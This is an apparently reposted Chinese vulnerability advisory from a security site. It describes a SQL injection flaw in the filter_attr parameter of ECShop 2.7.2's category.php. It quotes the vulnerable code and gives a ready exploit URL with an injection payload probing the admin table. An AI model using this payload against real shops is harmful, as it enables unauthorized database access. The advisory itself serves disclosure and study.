欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

ECSHOP 2.72漏洞

来源:转载 作者:佚名 时间:2010-05-12 TAG: 我要投稿

ECSHOP商城系统category页面过滤不严导致SQL注入漏洞
添加时间:
2010-05-08

系统编号:
WAVDB-01592

影响版本:
ECShop V2.7.2 UTF8_Release0505

程序介绍:
ECSHOP是一款开源免费的网上商店系统。由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。

漏洞分析:

文件 category.php
$filter_attr_str = isset($_REQUEST['filter_attr']) ? trim($_REQUEST['filter_attr']) : '0';  //52行
$filter_attr = empty($filter_attr_str) ? '' : explode('.', trim($filter_attr_str));
可以看出,变量 $filter_attr_str 是以“.” 分开的数组。

//308行
/* 扩展商品查询条件 */
        if (!empty($filter_attr))
        {
            $ext_sql = "Select DISTINCT(b.goods_id) FROM " . $ecs->table('goods_attr') . " AS a, " . $ecs->table('goods_attr') . " AS b " .  "Where ";
            $ext_group_goods = array();

            foreach ($filter_attr AS $k => $v)                      // 查出符合所有筛选属性条件的商品id */
            {
                if ($v != 0)
                {
                    $sql = $ext_sql . "b.attr_value = a.attr_value AND b.attr_id = " . $cat_filter_attr[$k] ." AND a.goods_attr_id = " . $v;
                    $ext_group_goods = $db->getColCached($sql);
                    $ext .= ' AND ' . db_create_in($ext_group_goods, 'g.goods_id');
                }
            }
        }
$v 没有作任何处理就加入了SQL查询,造成SQL注入


漏洞利用:
localhost/shop/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999 or 1=1 and exists(select * from admin)

解决方案:
厂商补丁
ECSHOP
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
ecshop

信息来源:
<*来源:lis cker

转载于: wavdb

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载